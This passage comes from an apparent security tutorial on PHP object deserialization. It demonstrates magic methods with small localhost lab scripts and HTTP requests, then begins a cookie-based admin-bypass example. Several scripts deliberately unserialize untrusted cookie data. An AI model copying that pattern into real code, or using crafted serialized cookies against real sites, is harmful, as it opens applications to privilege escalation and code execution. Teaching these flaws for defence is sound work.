<span class="nv">$this</span><span class="o">-></span><span class="na">information</span><span class="p">[</span><span class="nv">$name</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$value</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">]);</span>
<span class="nv">$new_user_object</span><span class="o">-></span><span class="na">secret</span> <span class="o">=</span> <span class="s2">"Writing data to inaccessible or non-existing properties."</span><span class="p">;</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_9.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":1:{s:8:"username"%3bs:5:"guest"%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">283</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Setting 'secret' to 'Writing data to inaccessible or non-existing properties.':
object(User)#1 (2) {
["information":"User":private]=>
array(1) {
["secret"]=>
string(56) "Writing data to inaccessible or non-existing properties."
}
["username"]=>
string(5) "guest"
}
</code></pre></div>
<h4><code>__isset()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p><code>__isset()</code> is triggered by calling <code>isset()</code> or <code>empty()</code> on inaccessible
(<code>protected</code> or <code>private</code>) or non-existing properties. - <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.isset">Property overloading: __isset()</a></p>
</blockquote>
<h4><code>__unset()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p><code>__unset()</code> is invoked when <code>unset()</code> is used on inaccessible (<code>protected</code> or
<code>private</code>) or non-existing properties. - <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.unset">Property overloading: __unset()</a></p>
</blockquote>
<h4><code>__sleep()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p><code>serialize()</code> checks if the class has a function with the magic name <code>__sleep()</code>.
If so, that function is executed prior to any serialization. It can clean up
the object and is supposed to return an array with the names of all variables
of that object that should be serialized. If the method doesn't return anything
then null is serialized and <code>E_NOTICE</code> is issued.</p>
<p>It is not possible for <code>__sleep()</code> to return names of private properties in
parent classes. Doing this will result in an <code>E_NOTICE</code> level error. Use
<code>__serialize()</code> instead.</p>
<p>As of PHP 8.0.0, returning a value which is not an array from <code>__sleep()</code>
generates a warning. Previously, it generated a notice. - <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.sleep">__sleep()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_10.php"><span style="color:red">example_10.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$information</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
<span class="s2">"secret"</span><span class="o">=></span><span class="s2">"Super secret value"</span>
<span class="p">);</span>
<span class="k">public</span> <span class="nv">$expose</span> <span class="o">=</span> <span class="s2">"Not so secret value"</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">,</span> <span class="nv">$password</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">password</span> <span class="o">=</span> <span class="nv">$password</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__sleep</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="k">array</span><span class="p">(</span><span class="s2">"username"</span><span class="p">,</span> <span class="s2">"expose"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="s2">"guest"</span><span class="p">,</span> <span class="s2">"Gu35t"</span><span class="p">);</span>
<span class="nv">$serialized_new_user_object</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">);</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$serialized_new_user_object</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_10.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">96</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
string(82) "O:4:"User":2:{s:8:"username";s:5:"guest";s:6:"expose";s:19:"Not so secret value";}"
</code></pre></div>
<h4><code>__wakeup()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p><code>unserialize()</code> checks for the presence of a function with the magic name
<code>__wakeup()</code>. If present, this function can reconstruct any resources that the
object may have.</p>
<p>The intended use of <code>__wakeup()</code> is to reestablish any database connections
that may have been lost during serialization and perform other reinitialization
tasks. - <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup">__wakeup()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_11.php"><span style="color:red">example_11.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"Hello from function __construct()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__wakeup</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Hello from function __wakeup()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$serialized_new_user_object</span> <span class="o">=</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">];</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$serialized_new_user_object</span><span class="p">);</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_11.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":1:{s:8:"username"%3bs:5:"guest"%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">91</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Hello from function __wakeup()
object(User)#1 (1) {
["username"]=>
string(5) "guest"
}
</code></pre></div>
<h4><code>__serialize()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p><code>serialize()</code> checks if the class has a function with the magic name <code>__serialize()</code>.
If so, that function is executed prior to any serialization. It must construct
and return an associative array of key/value pairs that represent the serialized
form of the object. If no array is returned a <code>TypeError</code> will be thrown.</p>
<p>If both <code>__serialize()</code> and <code>__sleep()</code> are defined in the same object, only
<code>__serialize()</code> will be called. <code>__sleep()</code> will be ignored. If the object
implements the <code>Serializable</code> interface, the interface's <code>serialize()</code> method
will be ignored and <code>__serialize()</code> used instead.</p>
<p>The intended use of <code>__serialize()</code> is to define a serialization-friendly
arbitrary representation of the object. Elements of the array may correspond
to properties of the object but that is not required. - <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.serialize">__serialize()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_12.php"><span style="color:red">example_12.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$information</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
<span class="s2">"secret"</span><span class="o">=></span><span class="s2">"Super secret value"</span>
<span class="p">);</span>
<span class="k">public</span> <span class="nv">$expose</span> <span class="o">=</span> <span class="s2">"Not so secret value"</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">,</span> <span class="nv">$password</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">password</span> <span class="o">=</span> <span class="nv">$password</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__sleep</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Hello from function __sleep().</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="k">return</span> <span class="k">array</span><span class="p">(</span><span class="s2">"username"</span><span class="p">,</span> <span class="s2">"expose"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">__serialize</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Hello from function __serialize().</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="k">return</span> <span class="p">[</span>
<span class="s2">"username"</span> <span class="o">=></span> <span class="nv">$this</span><span class="o">-></span><span class="na">username</span><span class="p">,</span>
<span class="s2">"password"</span> <span class="o">=></span> <span class="nv">$this</span><span class="o">-></span><span class="na">password</span><span class="p">,</span>
<span class="s2">"information"</span> <span class="o">=></span> <span class="nv">$this</span><span class="o">-></span><span class="na">information</span>
<span class="p">];</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="s2">"guest"</span><span class="p">,</span> <span class="s2">"Gu35t"</span><span class="p">);</span>
<span class="nv">$serialized_new_user_object</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">);</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$serialized_new_user_object</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_12.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">183</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Hello from function __serialize().
string(133) "O:4:"User":3:{s:8:"username";s:5:"guest";s:8:"password";s:5:"Gu35t";s:11:"information";a:1:{s:6:"secret";s:18:"Super secret value";}}"
</code></pre></div>
<h4><code>__unserialize()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p>Conversely, <code>unserialize()</code> checks for the presence of a function with the magic
name <code>__unserialize()</code>. If present, this function will be passed the restored
array that was returned from <code>__serialize()</code>. It may then restore the properties
of the object from that array as appropriate.</p>
<p>If both <code>__unserialize()</code> and <code>__wakeup()</code> are defined in the same object, only
<code>__unserialize()</code> will be called. <code>__wakeup()</code> will be ignored. - <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize">__unserialize()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_13.php"><span style="color:red">example_13.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"Hello from function __construct()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__wakeup</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Hello from function __wakeup()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">__unserialize</span><span class="p">(</span><span class="k">array</span> <span class="nv">$data</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$data</span><span class="p">[</span><span class="s2">"username"</span><span class="p">];</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">password</span> <span class="o">=</span> <span class="nv">$data</span><span class="p">[</span><span class="s2">"password"</span><span class="p">];</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">information</span> <span class="o">=</span> <span class="nv">$data</span><span class="p">[</span><span class="s2">"information"</span><span class="p">];</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$serialized_new_user_object</span> <span class="o">=</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">];</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$serialized_new_user_object</span><span class="p">);</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_13.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":3:{s:8:"username"%3bs:5:"guest"%3bs:8:"password"%3bs:5:"Gu35t"%3bs:11:"information"%3ba:1:{s:6:"secret"%3bs:18:"Super secret value"%3b}}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">187</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
object(User)#1 (3) {
["username"]=>
string(5) "guest"
["password"]=>
string(5) "Gu35t"
["information"]=>
array(1) {
["secret"]=>
string(18) "Super secret value"
}
}
</code></pre></div>
<h4><code>__toString()</code></h4>
<p>For the function <code>__toString()</code>, we've decided to present you a screenshot of the
<a href="https://www.php.net/manual/en/language.oop5.magic.php#object.tostring">documentation</a>,
as it contains a lot of information.</p>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c6.png"></p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_14.php"><span style="color:red">example_14.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">public</span> <span class="nv">$favorite_phrase</span> <span class="o">=</span> <span class="s2">"and I love soda."</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__toString</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="na">favorite_phrase</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$serialized_new_user_object</span> <span class="o">=</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">];</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$serialized_new_user_object</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"We are in the year 1337 "</span> <span class="o">.</span> <span class="nv">$new_user_object</span> <span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_14.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":1:{s:15:"favorite_phrase"%3bs:20:"and wheelbarrows ..."%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">45</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
We are in the year 1337 and wheelbarrows ...
</code></pre></div>
<h4><code>__invoke()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p>The <code>__invoke()</code> method is called when a script tries to call an object as a
function. - <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.invoke">__invoke()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_15.php"><span style="color:red">example_15.php</span></a> (referenced as <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.invoke">Example #4</a> in the PHP Magic Methods documentation)</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__invoke</span><span class="p">(</span><span class="nv">$x</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"I'm user "</span> <span class="o">.</span> <span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">.</span> <span class="s2">"and this is a: "</span> <span class="o">.</span> <span class="nv">$x</span> <span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">]);</span>
<span class="nv">$new_user_object</span><span class="p">(</span><span class="s2">"test"</span><span class="p">);</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nb">is_callable</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">));</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_15.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":1:{s:8:"username"%3bs:5:"guest"%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">45</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
I'm user guestand this is a: test
bool(true)
</code></pre></div>
<h4><code>__set_state()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p>This static method is called for classes exported by <code>var_export()</code>. The only
parameter of this method is an array containing exported properties in the
form <code>['property' => value, ...]</code>.</p>
<p>When exporting an object, <code>var_export()</code> does not check whether <code>__set_state()</code>
is implemented by the object's class, so re-importing objects will result in an
<code>Error</code> exception, if <code>__set_state()</code> is not implemented. Particularly, this
affects some internal classes. It is the responsibility of the programmer to
verify that only objects will be re-imported, whose class implements <code>__set_state()</code>. - <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.set-state">__set_state()</a></p>
</blockquote>
<h4><code>__clone()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p>Once the cloning is complete, if a <code>__clone()</code> method is defined, then the newly
created object's <code>__clone()</code> method will be called, to allow any necessary properties
that need to be changed. - <a href="https://www.php.net/manual/en/language.oop5.cloning.php#object.clone">Object Cloning: __clone()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_16.php"><span style="color:red">example_16.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">MyObject</span>
<span class="p">{</span>
<span class="k">public</span> <span class="nv">$instance</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">instance</span> <span class="o">=</span> <span class="o">++</span><span class="nv">$this</span><span class="o">-></span><span class="na">instance</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__clone</span><span class="p">()</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">instance</span> <span class="o">=</span> <span class="o">++</span><span class="nv">$this</span><span class="o">-></span><span class="na">instance</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$obj1</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">MyObject</span><span class="p">();</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$obj1</span><span class="p">);</span>
<span class="nv">$obj2</span> <span class="o">=</span> <span class="k">clone</span> <span class="nv">$obj1</span><span class="p">;</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$obj2</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_16.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">106</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
object(MyObject)#1 (1) {
["instance"]=>
int(1)
}
object(MyObject)#2 (1) {
["instance"]=>
int(2)
}
</code></pre></div>
<h4><code>__debugInfo()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p>This method is called by <code>var_dump()</code> when dumping an object to get the properties
that should be shown. If the method isn't defined on an object, then all <code>public</code>,
<code>protected</code> and <code>private</code> properties will be shown. - <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo">__debugInfo()</a></p>
</blockquote>
<p>We just have seen how almost every magic method works. Now, let's take a look at
how to exploit the <code>unserialize()</code> function.</p>
<h2>Exploiting deserialization</h2>
<h3>Taking advantage of the code logic</h3>
<p>An example often used to demonstrate how an attacker can benefit from the logic
of a PHP script is to bypass an authentication mechanism when that mechanism
is based on the attributes of an object instantiated via user data.</p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_17.php"><span style="color:red">example_17.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">,</span> <span class="nv">$is_admin</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">is_admin</span> <span class="o">=</span> <span class="nv">$is_admin</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"Hello from function __construct()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$serialized_new_user_object</span> <span class="o">=</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">];</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$serialized_new_user_object</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$new_user_object</span><span class="o">-></span><span class="na">is_admin</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"The user is a guest."</span> <span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">elseif</span> <span class="p">(</span><span class="nv">$new_user_object</span><span class="o">-></span><span class="na">is_admin</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"The user is authenticated as "</span> <span class="o">.</span> <span class="nv">$new_user_object</span><span class="o">-></span><span class="na">username</span> <span class="o">.</span> <span class="s2">".</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">elseif</span> <span class="p">(</span><span class="nv">$new_user_object</span><span class="o">-></span><span class="na">is_admin</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"The user is an administrator and is authenticated as "</span> <span class="o">.</span> <span class="nv">$new_user_object</span><span class="o">-></span><span class="na">username</span> <span class="o">.</span> <span class="s2">".</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="k">exit</span><span class="p">(</span><span class="s2">"An unexpected error has just occurred!"</span> <span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>Here's an example of request using the serialized object of a user who is a guest
user.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_17.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":2:{s:8:"username"%3bs:4:"test"%3bs:8:"is_admin"%3bi:-1%3b}</span>
</code></pre></div>
<p>The value of attribute <code>is_admin</code> being <code>-1</code>, we can see below that we land in the
first branch of the conditional tree (within condition <code>$new_user_object->is_admin == -1</code>).</p>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">21</span>
